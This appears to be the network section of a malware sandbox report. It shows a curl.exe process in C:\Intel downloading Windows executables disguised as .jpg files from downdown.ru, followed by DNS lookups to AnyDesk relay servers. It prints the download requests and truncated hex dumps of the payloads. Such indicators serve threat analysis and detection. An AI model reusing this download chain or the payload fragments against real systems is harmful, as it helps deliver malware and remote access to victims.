Jan 8, 2025 16:18:51.961955070 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.962042093 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.962160110 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.962168932 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.962316990 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.962327003 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.962482929 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.962620020 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.962734938 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.962754011 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.962821960 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.962939978 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.963023901 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.963126898 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.963248014 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.963367939 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.963428020 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.963536978 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.963613987 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.963793039 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.963877916 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.963973999 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.964093924 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.964210987 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.964263916 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.964380980 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.964495897 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.964504957 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.964549065 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.964673042 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.964685917 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.964802980 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.964920044 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.965001106 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.965082884 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.965197086 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.965313911 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.965436935 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.965558052 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.965637922 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.965764046 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.965919018 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.965924978 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.966059923 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.966152906 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.966152906 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.966298103 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.966423035 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.966509104 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.966557026 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.966651917 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.966747046 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.966803074 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.966948986 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.967041016 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.967116117 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.967238903 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.967253923 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.967330933 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.967360020 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.967494011 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.967540026 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.967540026 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.967582941 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.967683077 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.967794895 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.967808008 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.967854977 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.967854977 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.967964888 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.968036890 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.968131065 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.968151093 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.968178034 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.968261003 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.968313932 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.968390942 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.968431950 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.968502045 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.968519926 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.968573093 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.968683004 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.968755960 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.968795061 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.968888044 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.968943119 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.968943119 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.968996048 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.969104052 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.969116926 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.969177961 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.969284058 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.969291925 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.969381094 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.969389915 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.969518900 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.969608068 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.969618082 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.969655037 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.969659090 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.969710112 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.969710112 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.969779015 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.969907999 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.969944000 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.970004082 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.970040083 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.970141888 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.970264912 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.970316887 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.970321894 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.972558975 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:51.989105940 CET	443	54387	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:51.995521069 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:52.001286983 CET	443	54387	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:52.005070925 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:52.008932114 CET	443	54387	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:52.020749092 CET	443	54387	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:52.035772085 CET	443	56016	23.45.46.17	192.168.11.20
Jan 8, 2025 16:18:52.035978079 CET	443	56016	23.45.46.17	192.168.11.20
Jan 8, 2025 16:18:52.036067963 CET	443	56016	23.45.46.17	192.168.11.20
Jan 8, 2025 16:18:52.036113024 CET	443	56016	23.45.46.17	192.168.11.20
Jan 8, 2025 16:18:52.036351919 CET	56016	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:52.037923098 CET	56016	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:52.044284105 CET	443	54387	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:52.045746088 CET	56016	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:52.045797110 CET	56016	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:52.045994997 CET	56016	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:52.045994997 CET	56016	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:52.046065092 CET	56016	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:52.046113014 CET	56016	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:52.046163082 CET	56016	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:52.046211958 CET	56016	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:52.046257973 CET	56016	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:52.046310902 CET	56016	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:52.046360016 CET	56016	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:52.046405077 CET	56016	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:52.046454906 CET	56016	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:52.046503067 CET	56016	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:52.049520969 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:52.087204933 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:52.087213039 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:52.087443113 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:52.087533951 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:52.087662935 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:52.087680101 CET	443	58434	23.33.85.196	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 8, 2025 16:18:09.351867914 CET	192.168.11.20	1.1.1.1	0xaf66	Standard query (0)	downdown.ru	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:18:10.356169939 CET	192.168.11.20	9.9.9.9	0xaf66	Standard query (0)	downdown.ru	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:18:25.238164902 CET	192.168.11.20	1.1.1.1	0x4d6d	Standard query (0)	www.4t-niagara.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:18:27.677496910 CET	192.168.11.20	1.1.1.1	0xb58d	Standard query (0)	boot.net.anydesk.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:18:34.464493036 CET	192.168.11.20	1.1.1.1	0x66e0	Standard query (0)	relay-31ee9317.net.anydesk.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 8, 2025 16:18:10.493920088 CET	1.1.1.1	192.168.11.20	0xaf66	No error (0)	downdown.ru	185.125.51.5	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:18:12.299942017 CET	9.9.9.9	192.168.11.20	0xaf66	No error (0)	downdown.ru	185.125.51.5	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:18:25.414638042 CET	1.1.1.1	192.168.11.20	0x4d6d	No error (0)	www.4t-niagara.com	94.23.158.211	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:18:27.796878099 CET	1.1.1.1	192.168.11.20	0xb58d	No error (0)	boot.net.anydesk.com	57.129.37.28	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:18:34.584431887 CET	1.1.1.1	192.168.11.20	0x66e0	No error (0)	relay-31ee9317.net.anydesk.com	186.233.187.24	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49717	185.125.51.5	80	5988	C:\Intel\curl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 16:18:11.186119080 CET	89	OUT	GET /driver.jpg HTTP/1.1 User-Agent: curl/7.40.0-DEV Host: downdown.ru Accept: /
Jan 8, 2025 16:18:11.405936003 CET	1289	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:18:11 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 09:23:13 GMT ETag: "49400-62831fb300240" Accept-Ranges: bytes Content-Length: 300032 Content-Type: image/jpeg Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PELH0@@ gp.text0& `.data @F,@.tls`r@.rdatapt@P.idatav@@.edata@@.rsrc [TRUNCATED]
Jan 8, 2025 16:18:11.405996084 CET	1289	IN	Data Raw: 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @@
Jan 8, 2025 16:18:11.406117916 CET	1289	IN	Data Raw: 8b d8 56 57 89 55 fc 8b f9 8b 73 04 ff 75 fc e8 ad a9 03 00 59 8b d0 42 8b c3 e8 6a 00 00 00 ff 75 fc 8b 0b 03 ce 51 e8 65 a9 03 00 83 c4 08 85 ff 74 49 66 83 3f 00 74 43 8b 43 24 89 45 f8 8d 43 20 ba 01 00 00 00 e8 8d 00 00 00 8b 4b 20 8b 45 f8 Data Ascii: VWUsuYBjuQetIf?tCC$EC K E4SUCBECC0_^[]SVSC;C~>CyC ;C}sV3";uHDn%s^[SVSC;C~CCy
Jan 8, 2025 16:18:11.406291008 CET	1289	IN	Data Raw: 74 e3 8b c3 5b c3 90 90 53 8b d8 33 c0 8a c3 50 e8 0b 1d 04 00 5b c3 90 53 8b d8 33 c0 8a c3 50 e8 13 1d 04 00 5b c3 90 53 56 8b d8 83 fb 69 75 08 b8 49 00 00 00 5e 5b c3 8b f3 56 e8 27 ca 03 00 59 5e 5b c3 90 90 90 55 8b ec 51 53 56 57 89 55 fc Data Ascii: t[S3P[S3P[SViuI^[V'Y^[UQSVWU3@3 t8t}00\|9N a\|fNA\|FN3x0\|9_ a\|f_A\|F_3]B8u_^[Y]SVW
Jan 8, 2025 16:18:11.406383038 CET	1289	IN	Data Raw: 95 fc f7 ff ff 8b 45 fc e8 52 a0 00 00 8b c7 5f 5e 5b 8b e5 5d c3 90 53 56 8b da 8b f0 8b c6 e8 af 00 00 00 85 db 75 0a 85 c0 74 30 c6 00 00 5e 5b c3 85 c0 75 1b 68 6c 41 44 00 56 e8 62 9e 03 00 83 c4 08 53 56 e8 58 9e 03 00 83 c4 08 5e 5b c3 53 Data Ascii: ER_^[]SVut0^[uhlADVbSVX^[S@P&^[SVtCf;t=ut.f^[unAD^[^[rAD^tf8tvADSV=DtD.
Jan 8, 2025 16:18:11.406507969 CET	1289	IN	Data Raw: 76 12 8b f3 eb 0e 4b 3b fb 73 09 33 c0 8a 03 83 f8 2e 75 a3 8b c6 5f 5e 5b 59 5d c3 90 90 55 8b ec 83 c4 f8 53 56 89 4d f8 89 55 fc 8b f0 8b c6 e8 95 fb ff ff 8b d8 85 c0 75 19 68 b3 41 44 00 56 e8 54 99 03 00 83 c4 08 8b c6 e8 7a fb ff ff 8b d8 Data Ascii: vK;s3.u_^[Y]USVMUuhADVTz9{t"rADCtADCuhADKQ}uN40K;w3PZYuVY;tPH;uC1g3:tX3SRYt3
Jan 8, 2025 16:18:11.406629086 CET	1289	IN	Data Raw: e8 e4 c3 03 00 59 8b f0 80 7d fb 00 74 03 c6 03 00 85 ff 74 2b ba 3b 00 00 00 8b c7 e8 94 98 00 00 8b d8 85 db 74 19 85 f6 75 0a 8d 43 02 e8 ea 99 00 00 8b f0 80 7d fb 00 74 05 66 c7 03 00 00 8b c6 5f 5e 5b 59 59 5d c3 55 8b ec 50 b8 09 00 00 00 Data Ascii: Y}tt+;tuC}tf_^[YY]UPPHuESVW;tPVut>1;sB3PdYt00uC]K;rAD:E3VRz
Jan 8, 2025 16:18:11.406697989 CET	1289	IN	Data Raw: 47 ff b5 20 ff ff ff 68 dd 41 44 00 8d 85 ec fa ff ff 50 e8 9c a7 03 00 83 c4 0c ff b5 24 ff ff ff 68 e4 41 44 00 8d 95 f1 fa ff ff 52 e8 82 a7 03 00 83 c4 0c ff b5 28 ff ff ff 68 e4 41 44 00 8d 8d f6 fa ff ff 51 e8 68 a7 03 00 83 c4 0c ff b5 2c Data Ascii: G hADP$hADR(hADQh,hADPN0hADR44hADQWhADPFVhADP@BRhADQ5DDhAD
Jan 8, 2025 16:18:11.406821966 CET	1289	IN	Data Raw: 33 d2 8b 03 e8 62 08 00 00 f7 c6 01 00 00 00 74 07 53 e8 ec 73 03 00 59 5e 5b c3 b8 48 8c 44 00 e8 be 07 03 00 b8 59 92 44 00 e8 88 bd 00 00 b8 5c 92 44 00 e8 96 b5 02 00 c3 b8 5c 92 44 00 ba 02 00 00 00 e8 a2 b5 02 00 b8 59 92 44 00 ba 02 00 00 Data Ascii: 3btSsY^[HDYD\D\DYDcBD3@@f@@P3@@3@@@@SVt7BD{t{u{ttSsY^[U
Jan 8, 2025 16:18:11.406979084 CET	1289	IN	Data Raw: 17 50 e8 4b 86 03 00 83 c4 08 8b c7 e8 b5 e0 ff ff 8b d0 8d 86 18 04 00 00 e8 14 87 00 00 8b c3 5f 5e 5b 59 5d c3 55 8b ec 83 c4 e4 53 56 57 8b f1 89 55 fc 8b f8 85 f6 0f 84 a4 01 00 00 83 7f 0c 00 74 21 8b 47 0c 48 74 05 48 74 0e eb 16 6a f5 e8 Data Ascii: PK_^[Y]USVWUt!GHtHtjbGjVGE3UtM3;~djEP+@}+@QEPw&Ut)@;jEPVuwM}
Jan 8, 2025 16:18:11.625822067 CET	1289	IN	Data Raw: d2 53 56 57 89 45 fc 8b 7d 08 8b f1 74 0d 83 3a 00 0f 95 c0 83 e0 01 84 c0 75 04 33 db eb 05 bb 01 00 00 00 85 f6 74 0d 83 3e 00 0f 95 c0 83 e0 01 84 c0 75 04 33 c9 eb 05 b9 01 00 00 00 88 4d fb 85 ff 74 0d 83 3f 00 0f 95 c0 83 e0 01 84 c0 75 04 Data Ascii: SVWE}t:u3t>u3Mt?u3MtE}tUu}tUetM3Q}tE3P}tU3REp_^[]USURjjpwUY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49718	185.125.51.5	80	6112	C:\Intel\curl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 16:18:12.918019056 CET	87	OUT	GET /blat.jpg HTTP/1.1 User-Agent: curl/7.40.0-DEV Host: downdown.ru Accept: /
Jan 8, 2025 16:18:13.143121004 CET	1289	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:18:13 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 09:23:13 GMT ETag: "3c000-62831fb300240" Accept-Ranges: bytes Content-Length: 245760 Content-Type: image/jpeg Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b6 5c 29 cb f2 3d 47 98 f2 3d 47 98 f2 3d 47 98 f2 3d 46 98 8e 3d 47 98 90 22 54 98 f5 3d 47 98 71 21 49 98 eb 3d 47 98 1a 22 4d 98 71 3d 47 98 1a 22 4c 98 d2 3d 47 98 4a 3b 41 98 f3 3d 47 98 52 69 63 68 f2 3d 47 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 2c 76 04 62 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 60 02 00 00 80 01 00 00 00 00 00 a4 c3 01 00 00 10 00 00 00 70 02 00 00 00 40 00 00 10 00 00 00 10 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 f0 03 00 00 10 00 00 00 00 00 00 03 00 00 00 00 90 01 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$\)=G=G=G=F=G"T=Gq!I=G"Mq=G"L=GJ;A=GRich=GPEL,vb`p@qPp.text:Y` `.rdatapp@@.data[0@.rsrc@@ [TRUNCATED]
Jan 8, 2025 16:18:13.143168926 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 8, 2025 16:18:13.143316984 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 8, 2025 16:18:13.143435955 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 8, 2025 16:18:13.143548965 CET	1289	IN	Data Raw: 00 00 00 8d 8d 34 ee ff ff e8 9d 19 00 00 c6 45 fc 09 8b 45 0c ff 30 8d 8d 34 ee ff ff e8 c7 1b 00 00 8b 45 0c ff 70 04 8d 8d 34 ee ff ff e8 bb 1a 00 00 53 8d 8d 34 ee ff ff e8 03 82 00 00 50 e8 ba a1 01 00 59 59 85 c0 75 32 8d 8d 34 ee ff ff e8 Data Ascii: 4EE04Ep4S4PYYu24PE0yYY9}~ETA;M\|M4YE4EPY89}o8E4qDPFM
Jan 8, 2025 16:18:13.143618107 CET	1289	IN	Data Raw: 44 36 02 50 e8 12 9c 01 00 59 8b f8 3b fb 75 10 8d 8d 74 ee ff ff e8 44 17 00 00 e9 ca 00 00 00 53 8d 85 04 ee ff ff 50 56 57 8d 8d 74 ee ff ff e8 d8 17 00 00 85 c0 8d 8d 74 ee ff ff 75 22 e8 1b 17 00 00 57 e8 14 98 01 00 59 8d 8d 54 fb ff ff e8 Data Ascii: D6PY;utDSPVWttu"WYT\|PhBfwLhfLt<tVWPDPMWDPCY;u*TD\|
Jan 8, 2025 16:18:13.143750906 CET	1289	IN	Data Raw: 8b 08 66 83 f9 2d 74 06 66 83 f9 2f 75 0b 66 39 58 02 74 05 53 6a 01 eb 03 53 6a 02 52 ff 75 08 8d 85 44 f8 ff ff 50 e8 0a cd 00 00 83 c4 14 89 45 bc 39 9d c8 fe ff ff 74 68 39 5d 8c 74 63 39 5d 88 75 5e 8b 45 08 83 f8 02 b9 7c 7e 42 00 75 05 b9 Data Ascii: f-tf/uf9XtSjSjRuDPE9th9]tc9]u^E\|~Bux~BQHPh$~BDP j^9u~-8x;tPh~BDPz F;u\|fFu6fuhhXBDP8 f9`9]
Jan 8, 2025 16:18:13.143865108 CET	1289	IN	Data Raw: 9d 8c ee ff ff 8d 8d 90 f9 ff ff e8 66 0c 00 00 39 85 8c ee ff ff 73 6d 8d 8d 90 f9 ff ff e8 04 73 00 00 8b 8d 8c ee ff ff 66 83 3c 48 28 75 26 8d 8d 90 f9 ff ff e8 ec 72 00 00 8b 8d 8c ee ff ff 66 83 3c 48 29 74 08 ff 85 8c ee ff ff eb e0 ff 85 Data Ascii: f9smsf<H(u&rf<H)trrfOfpFrfprP(39smVrf<H(u&>rf<H
Jan 8, 2025 16:18:13.143976927 CET	1289	IN	Data Raw: b5 c8 fe ff ff e8 bc 88 01 00 59 6a 03 e9 ae 01 00 00 8d 8d 74 ee ff ff e8 bb 08 00 00 85 c0 8d 8d 74 ee ff ff 75 41 e8 18 08 00 00 68 10 7a 42 00 8d 85 44 f8 ff ff 50 e8 c1 16 00 00 53 8d 85 44 f8 ff ff 50 e8 b4 16 00 00 83 c4 10 39 9d c8 fe ff Data Ascii: YjttuAhzBDPSDP9tfYjXzfFu.fWhhyBDPafx;GPxlfFu-fhhXyBDP
